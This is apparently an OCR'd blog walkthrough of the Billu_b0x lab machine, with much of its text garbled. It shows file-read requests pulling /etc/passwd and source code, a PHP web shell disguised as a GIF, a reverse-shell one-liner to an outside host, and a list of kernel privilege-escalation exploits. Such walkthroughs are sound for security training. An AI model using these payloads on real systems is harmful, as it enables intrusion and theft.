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—(rootBkali)-[~]

Ly nmap -p- 10.0.2.15

Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 03:26 EST

Stats: 0:00:06 elapsed; © hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 85.63% done; ETC: ©3:26 (0:00:00 remaining)
Nmap scan report for 10.0.2.15

Host is up (0.000068s latency).

Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

MAC Address: ©08:00:27:B1:3D:4F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

2. PITEH

—(rootRkali)-|~]
L# dirb http://10.0.2.15 /usr/share/dirb/wordlists/big. txt

DIRB v2.22
By The Dark Raver

START_TIME: Thu Jan 20 ©3:27:53 2022
URL_BASE: http://10.0.2.15/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt


https://blog.csdn.net/redwand
https://blog.csdn.net/redwand/category_9717852.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=linux&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/redwand/article/details/122604408
https://blog.csdn.net/redwand/category_9717852.html
https://download.vulnhub.com/billu/Billu_b0x.zip

GENERATED WORDS: 20458

---- Scanning URL: http://10.0.2.15/ ----
+ http://10.0.2.15/add (CODE:200|SIZE:307

+ http://10.0.2.15/c (CODE:20@|SIZE:1

+ http://10.0.2.15/cgi-bin/ (CODE:403|SIZE:285
+ http://10.0.2.15/head (CODE:200|SIZE:2793
==> DIRECTORY: http://10.0.2.15/images/

+ http://10.0.2.15/in (CODE:200|SIZE:47528

+ http://10.0.2.15/index (CODE:200|SIZE:3267

+ http://10.0.2.15/panel (CODE:302|SIZE:2469
==> DIRECTORY: http://10.0.2.15/phpmy/

+ http://10.0.2.15/server-status (CODE:4@3|SIZE:290
+ http://10.0.2.15/show (CODE:200|SIZE:1

+ http://10.0.2.15/test (CODE:200|SIZE:72

==> DIRECTORY: http://10.0.2.15/uploaded_images/

---- Entering directory: http://10.0.2.15/images/ ----
') WARNING: Directory IS LISTABLE. No need to scan it.

Use mode '-w' if you want to scan it anyway
---- Entering directory: http://10.0.2.15/phpmy/ ----
+ http://10.0.2.15/phpmy/ChangelLog (CODE:200|SIZE:28878
+ http://10.0.2.15/phpmy/LICENSE (CODE:200|SIZE:18011
+ http://10.0.2.15/phpmy/README (CODE:200|SIZE:2164
+ http://10.0.2.15/phpmy/TODO (CODE:200|SIZE:190
+ http://10.0.2.15/phpmy/changelog (CODE:200|SIZE:8367
==> DIRECTORY: http://10.0.2.15/phpmy/contrib/
+ http://10.0.2.15/phpmy/docs (CODE:200|SIZE:2781
+ http://10.0.2.15/phpmy/export (CODE:200|SIZE:8367
+ http://10.0.2.15/phpmy/favicon (CODE:200|SIZE:18902

+ http://10.0.2.15/phpmy/favicon.ico (CODE:200|SIZE:18902



+ http://16.0.2.15/phpmy/import (CODE:200|SIZE:8367

+ http://10.0.2.15/phpmy/index

==> DIRECTORY:

==> DIRECTORY:

+ http://10.0

.2.15/phpmy/license

==> DIRECTORY:

+ http://10.0

+ http://10.0

+ http://10.0

+ http://10.0

.2.15/phpmy/main

.2.15/phpmy/navigation

.2.15/phpmy/phpinfo

.2.15/phpmy/phpmyadmin

==> DIRECTORY:

+ http://10.0

+ http://10.0

+ http://10.0

CODE :200|SIZE:8367

http://10.0.2.15/phpmy/js/

http://10.0.2.15/phpmy/libraries/

CODE:

200|SIZE:8367

http://10.0.2.15/phpmy/locale/

CODE:

CODE :200 | SIZE:8367

CODE :200 | SIZE:8367

200|SIZE:8367

CODE:200 | SIZE:42380

http://10.0.2.15/phpmy/pmd/

.2.15/phpmy/print (CODE:200|SIZE:1064

.2.15/phpmy/robots

CODE:200 | SIZE:26

.2.15/phpmy/robots.txt (CODE:200|SIZE:26

==> DIRECTORY:

==> DIRECTORY:

+ http://10.0

http://10.0.2.15/phpmy/scripts/

http://10.0.2.15/phpmy/setup/

.2.15/phpmy/sql (CODE:20@|SIZE:8367

==> DIRECTORY:

http://10.0.2.15/phpmy/themes/

+ http://10.0.2.15/phpmy/url (CODE:200|SIZE:8367

+ http://10.0.2.15/phpmy/webapp (CODE:200|SIZE:6912

---- Entering directory: http://10.0.2.

') WARNING: Directory IS LISTABLE. No

Use mode

-W

if you want to scan

---- Entering directory: http://10.0.2

') WARNING: Directory IS LISTABLE. No

Use mode

---- Entering directory: http://10.0.2.

W

if you want to scan

15/uploaded_images/ ----

need to scan it.

it anyway

.15/phpmy/contrib/ ----

need to scan it.

it anyway

15/phpmy/js/ ----



') WARNING: Directory IS LISTABLE. No

Use mode '-w' if you want to scan

---- Entering directory: http://10.0.2.
') WARNING: Directory IS LISTABLE. No
Use mode

"-w" if you want to scan

---- Entering directory: http://10.0.2.
') WARNING: Directory IS LISTABLE. No
Use mode

"-w" if you want to scan

---- Entering directory: http://10.0.2.
') WARNING: Directory IS LISTABLE. No
Use mode

"-w" if you want to scan

---- Entering directory: http://10.0.2.
') WARNING: Directory IS LISTABLE. No
Use mode

'"-w' if you want to scan

---- Entering
+ http://10.0.

directory: http://10.0.2.
2.15/phpmy/setup/config

==> DIRECTORY:

+ http://10.0.2.15/phpmy/setup/index

==> DIRECTORY:

+ http://10.0.2.15/phpmy/setup/scripts

+ http://10.0.2.15/phpmy/setup/styles

+ http://10.0.

---- Entering directory: http://10.0.2.
') WARNING: Directory IS LISTABLE. No

Use mode '-w' if you want to scan

---- Entering directory: http://10.0.2.
') WARNING: Directory IS LISTABLE. No

Use mode '-w' if you want to scan

---- Entering directory: http://10.0.2.
') WARNING: Directory IS LISTABLE. No
.

Use mode if you want to scan

END_TIME: Thu Jan 20 ©3:28:13 2022
DOWNLOADED: 61374 - FOUND: 37

2.15/phpmy/setup/validate

need to scan it.
it anyway

15/phpmy/libraries/ ----

need to scan it.
it anyway

15/phpmy/locale/ ----
need to scan it.
it anyway

15/phpmy/pmd/ ----
need to scan it.
it anyway

15/phpmy/scripts/ ----
need to scan it.
it anyway

15/phpmy/setup/ ----
CODE:303|SIZE:®

http://10.0.2.15/phpmy/setup/frames/

CODE:200 | SIZE:12965

http://10.0.2.15/phpmy/setup/lib/

CODE:200|SIZE:5169

CODE:200|SIZE:6941

CODE:200|SIZE:10

15/phpmy/themes/ ----
need to scan it.
it anyway

15/phpmy/setup/frames/ ----

need to scan it.
it anyway

15/phpmy/setup/lib/ ----

need to scan it.
it anyway



(1) indexWHIZE XMW, #EamsqiEAN, HsqlmanpBiki HiEA
_==[[IndiShellLab]]==—- X +

c @ © % 10.0.2.15

Kali Linux g8 KaliTools = KaliDocs M Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

--==[][ billu b0Ox ]]==--

Show me your SQLI skills
Username :- Password:-

let's login

(2) test A R RfileS B AR H, X EZRFHNHRYEO
--==[[IndiShell Lab]]==-- X | 10.0.2.15/test.php

&« c o © & 10.0.2.15/test

Kali Linux #& Kali Tools = Kali Docs 3 Kali Forums ¢\ Kali NetHunter Exploit-DB Goog

'file' parameter is empty. Please provide file path in 'file’' parameter

(3) phpmyadminBifH, 7~ Al BEIREVEE 2K - %65

--==[[IndiShell Lab]]==-- X | 10.0.2.15/test.php x [ phpMyAdmin

&« c o © % 10.0.2.15/;

Kali Linux & Kali Tools « KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

php
Welcome to phpMyAdmin

Language

English v




Log in g

Username:

Password:

The mcrypt extension is missing. Please check your
PHP configuration.

@

(4) B BT AT, X Hs A aeA SO _E AR A A

--==[[IndiShell Lab]]==-- 3 php vhpMyAdmin Index of fuploaded_images X +
(C] © 4 10.0215

Kali Linux #& Kali Tools = KaliDocs & Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Index of /uploaded_images

Name Last modified Size Description

¥ Parent Directory -
@ CaptBarbossa.|PG 29-Mar-2017 14:11 463K
[& cJPG 29-Mar-2017 14:11 329K
[ jack.jpg 29-Mar-2017 14:11 36K

Apaches/2.2. 22 (Ubuntu) Server at 10.0.2.15 Port 80

(5) phpinfoTa T AT BAREX php#H < R B e B

--==[[IndiShell Lab] X hp x| @ phpMyAdmin X f : ( Jac [ ] phpinfo()

= ¢ @ © 4 10.0.2.15 o

Kali Linux # KaliTools + KaliDocs M Kali Forums X Kali NetHunter Exploit-DB

PHP Version 5.3.10-1ubuntu3.26 ﬁm@

System Linux indishell 3.13.0-32-generic #57~precisel-Ubuntu SMP Tue Jul 15
03:50:54 UTC 2014 i686

Build Date Feb 13 2017 20:25:26

Server APl Apache 2.0 Filter

Virtual Directory disabled

Support

Configuration File [etc/php5/apache2filter
(php.ini) Path

Loaded Configuration |/etc/php5/apacheZfilter/php.ini
File

Scan this dir for [etc/php5/apacheZfilter/conf.d
additional .ini files

Additional .ini files [etc/php5/apacheZfilter/conf.d/mysql.ini, /etc/php5/apachezfilterjconf.d

parsed [mysqli.ini, /fetc/php5/apache2filter/conf.d/pdo.ini, fetc/phps
Japache2filter/conf.d/pdo_mysql.ini

PHP API 20090626

PHP Extension 20090626

Zend Extension 220090626

Zend Extension Build |API220090626,NTS
PHP Extension Build |API20090626,NTS

Debug Build no

Thread safety disabled

Zend Memory enabled

Manager

Zend Multibyte disabled

Support

IPv6 Support enabled

Registered PHP https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http,
Streams ftp. phar, zip

Registered Stream tcp, udp, unix, udg, ssl, sslv3, tls
Socket Transports

Reaistered Stream zlib.*. bzip2.*. convert.iconv.*. strina.rot13. strina.touoper.




(6) addiiif, FHiERE F LAE

--==[[IndiShell Lab]]==-- X | 10.0.2.15/test.php % | I phpMyAdmin X | Indexof Juploaded images X | 10.0.2.15/add

Cc @ © & 10.0.2.15

Kali Linux #8 KaliTools + KaliDocs & Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec

Select image to upload: ~ Browse.. | Nofile selected. name address 1337 upload

CSDN @redwand

(7) image T TH& M4 _EA% J5 T TH
—-==[[IndiShell Lab]]=

C @ © 4 10.0.215

Kali Linux § Kali Tools = Kali Docs #{ Kali Forums ! Kali NetHunter Exploit-DB Google Hacking DB OffSec

Index of /images

Name Last modified Size Description

9 Parent Directory -
luffy shanks.jpg 20-Mar-2017 05:09 0
luffy_shanks.png 20-Mar-2017 08:40 1.1M
white beard.png 20-Mar-2017 08:40 535K

Apache/2.2.22 (Ubuntu) Server at 10.0.2.15 Port 80

CSDN @redwand
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Burp Suite Community Edition v2021.8.2 - Temporary Project

Burp  Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
2 %

a= =
Request Response

Prethy EGEWE Hex \n

11}
]
T
=
=
11}

GET /test.php?file=/etc/passwd HTTP/1.1

Host: 10.0.2.15

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image webp, */+:q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

8 Cookie: PHPSESSID=SwmGeSlim7shOterSSm7qlr7ks

9 Upgrade-Insecure-Requests: 1

=

T

10 -

11 Scan
Send to Intruder Ctrl-l
Send to Repeater Ctrl-R

Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser >
Engagement tools [Pro version anly] >
Change request method

Change body encoding \
Copy URL '
Copy as curl command

Copy to file

Paste from file

Save itemn

Save entire history

Paste URL as request

URL-encode as you type

Ctrl-X



Copy Ctrl-C
Paste Ctrl-V
Message editor documentation

Burp Repeater documentation

HBHRERIT

Burp Suite Community Edition v2021.8.2 - Temporary Project

CsDI

Burp  Project Intruder Repeater Window Help

Pretty m Hex \n =

PosT /test.php HTTP/1.1

Host: 10.0.2.15

User-Agent: Mozilla/5.0 (X11; Linux xB86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: textshtml,application/xhtml+xml,applications/xml:q=0.9,image /webp, */*:q=0.8
Accept-Language: en-US.en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

8 Cookie: PHPSESSID=SvmEe6lim7shOterSom7qlriks

9 Upgrade-Insecure-Requests: 1

10 Content-Type: application/x-www-form-urlencoded

11 Content-Length: 16
13 file=/etc/passwd

e N
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2. BHEHET, 538 EEN

Pretty m Hex Render \n =

BN NS AR
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HITP/1.1 200 0K

Date: Thu, 20 Jan 2022 08:55:57 GMT

Server: Apache/2.2.22 (Ubuntu)

Accept-Ranges: bytes

X-Powered-By: PHP/5.3.10-lubuntu3.26
Content-Description: File Transfer
Content-Transfer-Encoding: binary

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public

Content-Disposition: attachment; filename="passwd"
Content-Length: 1094

Connection: close

Content-Type: application/octet-stream

root:x:0:0:root: /root: /bin/bash

daemon :Ll:daemon: fusr/sbin: /bin/sh
bin:x :hin: /bin: /bin/sh

SYS:X sys:/dev:/bin/sh

sync 65534:sync: /bin: /bin/sync
games:x:5:50:games: /usr/games: /bin/sh

man:x:6:12:iman: /var/cache/man: /bin/sh
p:/var/spool/1pd: /bin/sh

mail: /var/mail: /bin/sh

news:x:9:9:news: /var/spool/news: /binssh
uucp:x:10:10:uucp: /var/spool/uucp: /bin/sh
proxy:x:13:13:proxy: /bin: /bin/sh

www-data:x: 33:33:www-data: /var/www: /binssh
backup:x:34:34:backup: /vars/backups: /bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:38:39:ircd: fvar/runsired: /binssh

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
2w

a= =
Request Response

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody :x: 65534 65534: nobody : /nonexistent: /binyssh
libuuid:x:108:101:: fvar/lib/1ibuuid: /binssh
syslog:x:101:103:: /home/syslog: /bin/false
mysql:x:102:105: MySQL Server, ., :/nonexistent: /bin/false
messagebus:x:103:106: : /var/run/dbus: /bin/false
whoopsie:x:104:107: : /nonexistent: /bin/false
landscape:x:105:110: : /var/lib/landscape: /bin/false
sshd:x:106:65534: : /var/run/sshd: /usr/sbin/nologin
ica:x:1000:1000:ica, ., : /home/ica: /binsbash

ey aelwEnd
CSDN @redwand

(1) @Bidindex Vi T 7] LLEEX BsqliEf), BB 4 or1=1 -\, i or 1=1 -\H&sqiE A ARELE R, XMHE

RRENE. BB mT

=str_replace('\""',"",urldecode( ['un']));
=str_replace('\"'"',"",urldecode( ['ps'1));
='select * from auth where pass=\"'". ."\' and uname=\"". 0"\ "8

(2) @i EEindex.php3Cf, K IfileSH L br il idreadfile B EBLIHBBOCH, MAEF K LS, FitbraeE#E

M E R, HEWT.



<?php

function file_download($download)

{
if(file_exists($download))

{
header("Content-Description: File Transfer");
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0");
header('Pragma: public');
header('Accept-Ranges: bytes');
header('Content-Disposition: attachment; filename="'.basename($download)."'"");
header('Content-Length: ' . filesize($download));
header('Content-Type: application/octet-stream');
ob_clean();
flush();
readfile ($download);

by

else

{

echo "file not found";

by

by

if(isset($_POST['file']))

{
file_download($ POST['file']);

}

else{

echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';

}

R T kB readfile SUHFEATTRE, B BAAiIn.php SO S2 56 ENIE

Burp Suite Community Edition v2021.8.2 - Temporary Project

Burp  Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
2 x
Bl - (<)
a- =
Request Response
Pretty IGEWE Hex n = Pretty JRGYYM Hex Render n =
1 POST /test.php HTTP/1.1 1 HTTR/1.1 200 OK
2 Host: 10.0.2.15 2 Date: Fri, 21 Jan 2022 01:15:12 GMT
3 User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 3 Server: Apache/2.2.22 (Ubuntu)
4 Accept: texts/html,application/xhtml+xml, application/xml;gq=0.9, image/webp,.*/%;g9=0.8 4 Accept-Ranges: bytes
S Accept-Language: en-USs,en;q=0.5 S X-Powered-By: PHP/5.3.10-Llubuntu3, 26
5 Accept-Encoding: gzip., deflate & Content-Description: File Transfer
7 Connection: close 7 Content-Transfer-Encoding: binary
2 Cookie: PHPSESSID=SvmGeslim7shOtersom7qlriks 2 Expires: 0
9 Upgrade-Insecure-Requests: 1 9 Cache-Control: must-revalidate, post-check=0, pre-check=0
10 Content-Type: application/x-www-form-urlencoded 10 Pragma: public
11 Content-Length: 11 11 Content-Disposition: attachment:; filename="in.php"
12 12 Content-Length: 22
13 file=in.php 13 Connection: close
14 Content-Type: application/foctet-stream
15
15 <?php
17 phpinfo():
18
19 7>
20
CSDN @redwand

(3) iEHXc.php3Cf, FREXEE Frica_lab ik f A Y



<?php

#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );

header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","bOx_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
{

echo "connection failed ->

}

. mysqli_connect_error();

?>

3. BXREWE, /EMA/NEKS W



(1) BEFBAREMEN, fEauthRH[E—XKSEH

--==[[IndiShell Lab]]= X | 10.0. te p

<« c © 4 10.0.215

Kali Linux 5 Kali Tools = & Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

ab auth
php
=] Browse @ 4 Structure | L] SQL , Search 3¢ Insert | [ Export 5} Import = J” Operations
&8 3600 6
«# Showing rows 0 - O ( 1 total, Query took 0.0001 sec)
ica_lab j
L] auth SECEGIS
= download FROM "auth
LIMIT O, 30
5] users
Profiling [inlinel [ Edit 1[ Explain SQL 1 [ Create PHP Code 1[ Refresh 1
(.3 Create table
Show : 30 row(s) starting from row # | in| horizontal j maode and repeat headers after | 100 cells
+ Options
—T— id uname pass

&7 Edit [ Inline Edit 3£ Copy @ Delete 1 bilLu  hEx_it

Check All f Uncheck All With selected: 47 Change @ Delete [& Export

Show : 30 row(s) starting from row # |0 in| horizontal j meode and repeat headers after | 100 cells

Query results operations

(& Print view () Print view (with full texts) @ Export gl Display chart [Z] Create view

[@ The mcrypt extension is missing. Please check your PHP configuration.

918

(2) Mindex.phpTH &%, Bh¥ Flpanel.phpTH, KIS E4E S
[IndiShell L 0.0.2.15 < | W1
B- c o

Kali Linux & Kali Tools « Jocs & Kali Forums e Kali NetHunter Exploit-DB

Logout
Show Users v continue

Select image to upload: [EEETE e selected. name

(3) HEHpanel.php XX HHIERS, KU H. —RiZXHH posti MK B85, ¥ RkSH Nload. & X4 Hi&iEid
finfo(FILEINFO_MIME )4E A 3 SO KR RU AT R B o

session_start();

include('c.php');

include( "head2.php');

if(@ ["logged']!=true )

{
header('Location: index.php', true, 302);
exit();



echo "Welcome to billu box ";

echo '<form method=post style="margin: 10px O@px 1@px 95%;"><input type=submit

if(isset($_POST['1lg']))

{

unset($_SESSION[ 'logged']);
unset($_SESSION[ 'admin']);
header('Location: index.php', true, 302);

}

echo '<hr><br>";

echo '<form method=post>

<select name=load>

<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>

&nbsp<input type=submit name=continue value="continue"></form><br><br>";

if(isset($_POST[ 'continue']))

{
$dir=getcwd();
$choice=str_replace('./',""',$_POST['load']);

if($choice==="add")

{
include($dir."'/"'.$choice."'.php');
die();

¥

if($choice==="show")

{
include($dir."'/'.$choice."'.php');
die();

}

else

{
include($dir.'/'.$ _POST['load']);

¥

}

if(isset($ POST[ 'upload']))
{

$name=mysqli_real_escape_string($conn,$ POST['name']);
$address=mysqli_real_escape_string($conn,$_POST[ 'address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);

if(lempty($_FILES['image']['name']))

{

$iname=mysqli_real escape_string($conn,$ FILES['image']['name']);
$r=pathinfo($_FILES["'image'][ 'name"'],PATHINFO_EXTENSION);
$image=arrav('ipeg'.'ipg','gif'. 'png'):

name=1g value=Logout></form>";



if(in_array($r,$image))

{

$finfo = @new finfo(FILEINFO_MIME);

$filetype = @$finfo->file($_FILES['image']['tmp_name']);

if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif
/',$filetype ))
{
if (move_uploaded file($ FILES['image']['tmp_name'], ‘'uploaded_images/'.$ FILES['image']['name']))
{

echo "Uploaded successfully ";
$update="insert into users(name,address,image,id) values(\''.$name.'\"',\"'".$address."'\',\"' " ".$iname."\",
\''.gid."\") '
mysqli_query($conn, $update);

}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>

4. FEEEHE, R g

(1) @i EHphpFMEE, EHfileinfoiidmime_content type B Hid it #6253 magic numberff) 75 Rt SO B AT RIS
FE AT DAE RIS T, BEocE Sk fImagic numberff) 5 gt &% B . Wi B Frmaljpg, HIERIIT.

GIF87a
<?php system($_GET['cmd']);?>



(2) bfEEFmajpgfa, fEpanelphpH EF B4R, HAILLfEuploaded imagesH#EE

--==[[IndiShell Lab]]- X | 10.0.2.15/tes P x | M 10.0215/ C X | Indexof /uploaded_imag: X  10.0.2.15/add

c @ © & 10.0.215

Kali Linux # Kali Toels < KaliDocs ® Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec
.
Index of /uploaded_images

Name Last modified Size Description

& Parent Directory -
CaptBarbossa.JPG 29-Mar-2017 14:11 463K

c.JPG 29-Mar-2017 14:11 329K

[& jack.jpg 20-Mar-2017 14:11 36K

ma.jpg 21Jan2022 13:02 37
e,

—
Apache/2.2.22 (Ubuntu) Server at 10.0.2.15 Port 80

CSDN @rec

(3) burpGiE EfEmathee, XEFEFEZERZ RGBT panel.phpfI X 4B ETRACSE .

Burp Suite Community Edition v2021.8.2 - Temporary Project

Burp  Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
2w 3 x
Bl o (<)
==
Request Response
Pretty m Hex Wn = Raw Hex Render \n = R
1 POST /panel.php?cmd=1s HTTP/1.1 163 <option value="show"=
2 Host: 10.8.2.15 \1 Show Users G
3 User-Agent: Mozilla/5.@ (X11; Tinux xBE_84; rv:78.0) Gecko/20100101 Firefox/78.0 </option=
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,*/*;q=0.8 154 <option value="add"> E
5 Accept-Language: en-US,en;g=0.5 Add User
5 Accept-Encoding: gzip, deflate </option=
7 Content-Type: application/x-www-form-urlencoded 165 </select> R
2 Content-Length: 45
9 Origin: http://10.0.2.15 R
10 Connection: close &nbsp=input type=submit name=continue value="continue"=
11 Referer: http://10.0.2 15/panel.php </form= R
12 Cookie: PHPSESSID=SvmGeSlim7shOtersom7qlrike <br>
13 Upgrade-Insecure-Requests: 1 <br>
14 GIFE7a
15 load=uploaded_images/ma. jpg&continue=continue add php
c.php
head.php
head2.php
images
in.php
index.php
panel.php
phpmy
show. php
test.php
uploaded_images
@@K—”—)” Se, 0 matches \€H—>|| 5 | 0 matches
Done CSDN @redwand

5. Kk #shell

bash/x 3, % Pl Fbashixi#fr4-iEitdecoderHurl4mi g i A\ Flecmd 2 $t

echo "bash -i >& /dev/tcp/10.0.2.4/6666 0>&1" | bash



Burp Project Intruder Repeater Window Help

Accept: text/html,application/xhtml+xnl,application/xml;
Accept-Language: en-US,en:q=0.5

5 Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded
Content-Length: 45

Origin: http://10.0.2.15

10 Connection: close

11 Referer: http://10.0.2.15/panel.php

12 Cookie: PHPSESSID=SvmEe6lim76hOtersom7qlriks

13 Upgrade-Insecure-Requests: 1

28,9, image /webp, */*;q=0.8

(LS

-

15 load=uploaded_inages/ma. jpg&continue=continue

@@ |E”§| | Search 0 matches

Done

0x04 12 F+ U FR

FE T AT H Stuploade_imagesF Hilinux-exploit-suggester.shfg 240 T 45 3

kup fai

1 from (UNKNOW

L in this shell
STATIEN |

www-data@indishell:/var/www/uploaded_images$ ./linux-exploit-suggester.sh

./linux-exploit-suggester.sh

Available information:

Kernel version: 3.13.0

Architecture: i386

Distribution: ubuntu

Distribution version: 12.04

Additional checks (CONFIG_*, sysctl entries, custom Bash commands):
Package listing: from current 0S

Searching among:

78 kernel space exploits
48 user space exploits

Possible Exploits:

cat: write error:
cat: write error:
cat: write error:
cat: write error:
cat: write error:
cat: write error:
+] [CVE-2016-519

Broken pipe
Broken pipe
Broken pipe
Broken pipe
Broken pipe
Broken pipe
5] dirtycow

performed

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

Exposure: high

ly probable

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
2 = 3 x
=R o <)
Request Response LH
Pretty IGENM Hex \n = Pretty Hex nder iny = Ret
1 POST /panel.php?cnd= 1
SH65%63%68%6T%20%2 256 2%61% 7 3568%20% 2d 5655 20%3e% 26% 20% 2 f 564%65%76% 2% 7 45635706 21%31% Qu
30%2e%30%2e%3 2% 20%34% 2 {%36% 36% 36% 36% 20% 30% 3e % 26% 31 52 2% 20% 7 C% 20%6 2561 57 3%68
HTTR/L.1 Bou
2 Host: 10.0.2.15
3 User-Agent: Mozilla/5.0 (X11; Linux xB6_84: rv:78.0 0/20100101 Firefox/78.0 Rec

Tags: =7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=

7{kernel:3.10.0-*

Download URL:

|4.2.0-0.21.e17}, =16.04|14.04|12.04

httos://www.exnloit-db.com/download/40611



e . e, oo

Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/r
h-cve-2016-5195_5.sh

+] [CVE-2016-5195] dirtycow 2

Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

Exposure: highly probable

Tags: =7|8,RHEL=5|6]|7, =14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel
:4.4.0-21-generic

Download URL: https://www.exploit-db.com/download/40839

ext-url: https://www.exploit-db.com/download/40847

Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/r
h-cve-2016-5195_5.sh

+] [CVE-2015-1328] overlayfs

Details: http://seclists.org/oss-sec/2015/q2/717

Exposure: highly probable

Tags: =(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic} |,ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-ge
neric

Download URL: https://www.exploit-db.com/download/37292

+ CVE-2015-3202] fuse (fusermount

Details: http://seclists.org/oss-sec/2015/q2/520
Exposure: probable

Tags: =7.0|8.0, =3

Download URL: https://www.exploit-db.com/download/37089
Comments: Needs cron or system admin interaction

+] [CVE-2014-4014] inode_capable

Details: http://www.openwall.com/lists/oss-security/2014/06/10/4
Exposure: probable

Tags: =12.04

Download URL: https://www.exploit-db.com/download/33824

+ CVE-2021-3156] sudo Baron Samedit

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable

Tags: =19,ubuntu=18|20, =10

Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

+ CVE-2021-3156] sudo Baron Samedit 2

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable

Tags: =6|7|8,ubuntu=14|16|17|18|19] 20, =9|10

Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html

Exposure: less probable

Tags: =20.04{kernel:5.8.0-*

Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exp
loit.c

ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c



al

Comments: ip_tables kernel module must be loaded
CVE-2019-18634] sudo pwfeedback

Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/

Exposure: less probable

Tags: =19

Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.

CVE-2019-15666 | XFRM_UAF

Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc

Exposure: less probable

Download URL:

Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

CVE-2017-7308] af_packet

Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
Exposure: less probable

Tags: =16.04{kernel:4.8.0-(34|36(39|41|42|44|45)-generic

Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c

Comments: CAP_NET_RAW cap or =y needed. Modified version at 'ext-url' adds support for addition
kernels
CVE-2017-6074] dccp

Details: http://www.openwall.com/lists/oss-security/2017/02/22/3

Exposure: less probable

Tags: =(14.04|16.04){kernel:4.4.0-62-generic

Download URL: https://www.exploit-db.com/download/41458

